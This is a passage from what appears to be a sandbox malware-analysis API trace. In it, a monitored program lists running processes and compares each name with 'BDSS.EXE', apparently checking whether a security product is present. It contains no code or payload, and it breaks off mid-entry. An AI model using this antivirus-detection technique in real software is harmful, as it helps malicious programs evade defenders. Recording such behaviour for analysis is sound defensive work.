[0074.224] lstrcpyW (in: lpString1=0x18f0b0, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0074.225] lstrlenW (lpString="services.exe") returned 12 [0074.225] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0074.225] lstrcmpW (lpString1="SERVICES.EXE", lpString2="BDSS.EXE") returned 1 [0074.225] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.225] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0074.225] lstrlenW (lpString="lsass.exe") returned 9 [0074.225] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0074.225] lstrcmpW (lpString1="LSASS.EXE", lpString2="BDSS.EXE") returned 1 [0074.225] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.225] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0074.226] lstrlenW (lpString="lsm.exe") returned 7 [0074.226] CharUpperBuffW (in: lpsz="lsm.exe", cchLength=0x7 | out: lpsz="LSM.EXE") returned 0x7 [0074.226] lstrcmpW (lpString1="LSM.EXE", lpString2="BDSS.EXE") returned 1 [0074.226] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.226] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.226] lstrlenW (lpString="svchost.exe") returned 11 [0074.226] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.226] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.226] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.226] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.227] lstrlenW (lpString="svchost.exe") returned 11 [0074.227] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.227] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.227] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.227] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.227] lstrlenW (lpString="svchost.exe") returned 11 [0074.227] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.227] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.227] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.227] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.228] lstrlenW (lpString="svchost.exe") returned 11 [0074.228] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.228] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.228] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.228] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.228] lstrlenW (lpString="svchost.exe") returned 11 [0074.228] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.228] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.228] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.228] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.229] lstrlenW (lpString="svchost.exe") returned 11 [0074.229] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.229] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.229] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.229] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.229] lstrlenW (lpString="svchost.exe") returned 11 [0074.229] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.229] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.229] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.229] lstrcpyW (in: lpString1=0x18f0b0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0074.229] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.230] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0074.230] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="BDSS.EXE") returned 1 [0074.230] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.320] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.320] lstrlenW (lpString="taskhost.exe") returned 12 [0074.320] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.320] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.320] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.326] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.326] lstrlenW (lpString="svchost.exe") returned 11 [0074.326] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.327] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.327] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.329] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.329] lstrlenW (lpString="taskeng.exe") returned 11 [0074.329] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.330] lstrcmpW (lpString1="TASKENG.EXE", lpString2="BDSS.EXE") returned 1 [0074.330] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.332] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.332] lstrlenW (lpString="svchost.exe") returned 11 [0074.332] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.333] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.333] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.334] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.335] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.335] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.335] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="BDSS.EXE") returned 1 [0074.335] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.338] lstrcpyW (in: lpString1=0x18f0b0, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0074.338] lstrlenW (lpString="sppsvc.exe") returned 10 [0074.338] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0074.338] lstrcmpW (lpString1="SPPSVC.EXE", lpString2="BDSS.EXE") returned 1 [0074.339] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.340] lstrcpyW (in: lpString1=0x18f0b0, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0074.340] lstrlenW (lpString="dwm.exe") returned 7 [0074.340] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0074.340] lstrcmpW (lpString1="DWM.EXE", lpString2="BDSS.EXE") returned 1 [0074.341] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.343] lstrcpyW (in: lpString1=0x18f0b0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0074.343] lstrlenW (lpString="explorer.exe") returned 12 [0074.343] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0074.343] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="BDSS.EXE") returned 1 [0074.343] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.345] lstrcpyW (in: lpString1=0x18f0b0, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0074.345] lstrlenW (lpString="audiodg.exe") returned 11 [0074.345] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0074.345] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="BDSS.EXE") returned -1 [0074.345] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.346] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.346] lstrlenW (lpString="svchost.exe") returned 11 [0074.347] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.347] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.347] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.348] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.348] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.348] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.349] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="BDSS.EXE") returned 1 [0074.349] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.351] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.351] lstrlenW (lpString="taskhost.exe") returned 12 [0074.351] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.351] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.351] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.353] lstrcpyW (in: lpString1=0x18f0b0, lpString2="ghana-reaction.exe" | out: lpString1="ghana-reaction.exe") returned="ghana-reaction.exe" [0074.353] lstrlenW (lpString="ghana-reaction.exe") returned 18 [0074.353] CharUpperBuffW (in: lpsz="ghana-reaction.exe", cchLength=0x12 | out: lpsz="GHANA-REACTION.EXE") returned 0x12 [0074.353] lstrcmpW (lpString1="GHANA-REACTION.EXE", lpString2="BDSS.EXE") returned 1 [0074.353] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.369] lstrcpyW (in: lpString1=0x18f0b0, lpString2="survive recipes.exe" | out: lpString1="survive recipes.exe") returned="survive recipes.exe" [0074.369] lstrlenW (lpString="survive recipes.exe") returned 19 [0074.369] CharUpperBuffW (in: lpsz="survive recipes.exe", cchLength=0x13 | out: lpsz="SURVIVE RECIPES.EXE") returned 0x13 [0074.369] lstrcmpW (lpString1="SURVIVE RECIPES.EXE", lpString2="BDSS.EXE") returned 1 [0074.369] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.370] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wiley listprice immigration mn.exe" | out: lpString1="wiley listprice immigration mn.exe") returned="wiley listprice immigration mn.exe" [0074.370] lstrlenW (lpString="wiley listprice immigration mn.exe") returned 34 [0074.370] CharUpperBuffW (in: lpsz="wiley listprice immigration mn.exe", cchLength=0x22 | out: lpsz="WILEY LISTPRICE IMMIGRATION MN.EXE") returned 0x22 [0074.370] lstrcmpW (lpString1="WILEY LISTPRICE IMMIGRATION MN.EXE", lpString2="BDSS.EXE") returned 1 [0074.370] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.371] lstrcpyW (in: lpString1=0x18f0b0, lpString2="temp la various.exe" | out: lpString1="temp la various.exe") returned="temp la various.exe" [0074.371] lstrlenW (lpString="temp la various.exe") returned 19 [0074.371] CharUpperBuffW (in: lpsz="temp la various.exe", cchLength=0x13 | out: lpsz="TEMP LA VARIOUS.EXE") returned 0x13 [0074.371] lstrcmpW (lpString1="TEMP LA VARIOUS.EXE", lpString2="BDSS.EXE") returned 1 [0074.371] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.371] lstrcpyW (in: lpString1=0x18f0b0, lpString2="metropolitan storm.exe" | out: lpString1="metropolitan storm.exe") returned="metropolitan storm.exe" [0074.371] lstrlenW (lpString="metropolitan storm.exe") returned 22 [0074.371] CharUpperBuffW (in: lpsz="metropolitan storm.exe", cchLength=0x16 | out: lpsz="METROPOLITAN STORM.EXE") returned 0x16 [0074.371] lstrcmpW (lpString1="METROPOLITAN STORM.EXE", lpString2="BDSS.EXE") returned 1 [0074.371] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.372] lstrcpyW (in: lpString1=0x18f0b0, lpString2="thats-viewing-llc.exe" | out: lpString1="thats-viewing-llc.exe") returned="thats-viewing-llc.exe" [0074.372] lstrlenW (lpString="thats-viewing-llc.exe") returned 21 [0074.372] CharUpperBuffW (in: lpsz="thats-viewing-llc.exe", cchLength=0x15 | out: lpsz="THATS-VIEWING-LLC.EXE") returned 0x15 [0074.372] lstrcmpW (lpString1="THATS-VIEWING-LLC.EXE", lpString2="BDSS.EXE") returned 1 [0074.372] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.372] lstrcpyW (in: lpString1=0x18f0b0, lpString2="houses.exe" | out: lpString1="houses.exe") returned="houses.exe" [0074.372] lstrlenW (lpString="houses.exe") returned 10 [0074.372] CharUpperBuffW (in: lpsz="houses.exe", cchLength=0xa | out: lpsz="HOUSES.EXE") returned 0xa [0074.372] lstrcmpW (lpString1="HOUSES.EXE", lpString2="BDSS.EXE") returned 1 [0074.372] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.373] lstrcpyW (in: lpString1=0x18f0b0, lpString2="renewal.exe" | out: lpString1="renewal.exe") returned="renewal.exe" [0074.373] lstrlenW (lpString="renewal.exe") returned 11 [0074.373] CharUpperBuffW (in: lpsz="renewal.exe", cchLength=0xb | out: lpsz="RENEWAL.EXE") returned 0xb [0074.373] lstrcmpW (lpString1="RENEWAL.EXE", lpString2="BDSS.EXE") returned 1 [0074.373] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.373] lstrcpyW (in: lpString1=0x18f0b0, lpString2="zones transferred trainers.exe" | out: lpString1="zones transferred trainers.exe") returned="zones transferred trainers.exe" [0074.373] lstrlenW (lpString="zones transferred trainers.exe") returned 30 [0074.373] CharUpperBuffW (in: lpsz="zones transferred trainers.exe", cchLength=0x1e | out: lpsz="ZONES TRANSFERRED TRAINERS.EXE") returned 0x1e [0074.373] lstrcmpW (lpString1="ZONES TRANSFERRED TRAINERS.EXE", lpString2="BDSS.EXE") returned 1 [0074.373] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.374] lstrcpyW (in: lpString1=0x18f0b0, lpString2="courses ham.exe" | out: lpString1="courses ham.exe") returned="courses ham.exe" [0074.374] lstrlenW (lpString="courses ham.exe") returned 15 [0074.374] CharUpperBuffW (in: lpsz="courses ham.exe", cchLength=0xf | out: lpsz="COURSES HAM.EXE") returned 0xf [0074.374] lstrcmpW (lpString1="COURSES HAM.EXE", lpString2="BDSS.EXE") returned 1 [0074.374] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.374] lstrcpyW (in: lpString1=0x18f0b0, lpString2="canon.exe" | out: lpString1="canon.exe") returned="canon.exe" [0074.374] lstrlenW (lpString="canon.exe") returned 9 [0074.374] CharUpperBuffW (in: lpsz="canon.exe", cchLength=0x9 | out: lpsz="CANON.EXE") returned 0x9 [0074.374] lstrcmpW (lpString1="CANON.EXE", lpString2="BDSS.EXE") returned 1 [0074.374] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.375] lstrcpyW (in: lpString1=0x18f0b0, lpString2="fairlysettingoperational.exe" | out: lpString1="fairlysettingoperational.exe") returned="fairlysettingoperational.exe" [0074.375] lstrlenW (lpString="fairlysettingoperational.exe") returned 28 [0074.375] CharUpperBuffW (in: lpsz="fairlysettingoperational.exe", cchLength=0x1c | out: lpsz="FAIRLYSETTINGOPERATIONAL.EXE") returned 0x1c [0074.375] lstrcmpW (lpString1="FAIRLYSETTINGOPERATIONAL.EXE", lpString2="BDSS.EXE") returned 1 [0074.375] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.375] lstrcpyW (in: lpString1=0x18f0b0, lpString2="claimed desk.exe" | out: lpString1="claimed desk.exe") returned="claimed desk.exe" [0074.375] lstrlenW (lpString="claimed desk.exe") returned 16 [0074.375] CharUpperBuffW (in: lpsz="claimed desk.exe", cchLength=0x10 | out: lpsz="CLAIMED DESK.EXE") returned 0x10 [0074.375] lstrcmpW (lpString1="CLAIMED DESK.EXE", lpString2="BDSS.EXE") returned 1 [0074.375] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.376] lstrcpyW (in: lpString1=0x18f0b0, lpString2="mel_ds_cancelled.exe" | out: lpString1="mel_ds_cancelled.exe") returned="mel_ds_cancelled.exe" [0074.376] lstrlenW (lpString="mel_ds_cancelled.exe") returned 20 [0074.376] CharUpperBuffW (in: lpsz="mel_ds_cancelled.exe", cchLength=0x14 | out: lpsz="MEL_DS_CANCELLED.EXE") returned 0x14 [0074.376] lstrcmpW (lpString1="MEL_DS_CANCELLED.EXE", lpString2="BDSS.EXE") returned 1 [0074.376] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.376] lstrcpyW (in: lpString1=0x18f0b0, lpString2="appears_li_pressed_h.exe" | out: lpString1="appears_li_pressed_h.exe") returned="appears_li_pressed_h.exe" [0074.376] lstrlenW (lpString="appears_li_pressed_h.exe") returned 24 [0074.376] CharUpperBuffW (in: lpsz="appears_li_pressed_h.exe", cchLength=0x18 | out: lpsz="APPEARS_LI_PRESSED_H.EXE") 